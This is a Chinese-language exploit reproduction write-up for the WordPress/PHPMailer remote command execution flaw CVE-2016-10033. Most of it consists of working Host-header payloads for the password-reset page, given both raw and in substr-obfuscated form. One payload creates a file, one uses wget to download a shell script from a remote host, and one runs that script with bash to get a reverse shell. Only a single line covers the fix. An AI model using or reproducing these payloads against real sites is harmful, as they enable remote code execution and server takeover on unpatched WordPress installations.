WordPress <= 4.6(PHPMailer)命令執行漏洞(CVE-2016-10033)
漏洞概述:
- 當WordPress 使用 PHPMailer 組件向用戶發送郵件。攻擊者在找回密碼時會使用PHPmailer發送重置密碼的郵件,利用substr(字符串截取函數)、$run(系統調用函數)等構造payload,即可進行遠程命令執行。
漏洞版本:
- WordPress <= 4.6.0
- PHPMailer < 5.2.18
漏洞原理:
- 主要是phpmailer組件調用linux系統命令sendmail進行郵件發送,通過傳入的SERVER_NAME獲取主機名(即請求host值),而SERVER_NAME沒有經過任何過濾,從而產生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函數等進入繞過,構造payload。
漏洞搭建:
漏洞復現:
- 首先進行payload構造:
aa(any -froot@localhost -be ${run{/bin/touch /tmp/1.php}} null) //在/tmp下創建一個1.php
- 要注意以下四點
1,URL 中不要有 http://
2,字母必須要小寫
3,所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
4,所有 空格 用 ${substr{10}{1}{$tod_log}} 代替
- 進行轉換後
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}1.php}} null)
- 下面開始正題,漏洞存在密碼找回頁面
然後輸入用戶名cat,然後使用BurpSuite抓包攔截,修改host的值爲下面payload,可發現已生成該文件
- 反彈shell,可以利用curl或者wget命令下載遠程文件,然後執行該文件,即可getshell
下載
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/shell 192.168.2.109/1.txt}} null)
轉換
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.2.109${substr{0}{1}{$spool_directory}}1.txt}} null)
運行
先本地監聽,然後運行,即可getshell
aa(any -froot@localhost -be ${run{/bin/bash /tmp/shell}} null)
轉換
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
漏洞修復:
- 更新wordpress、phpmailer到最新版本。
ps:餘生很長,請多指教。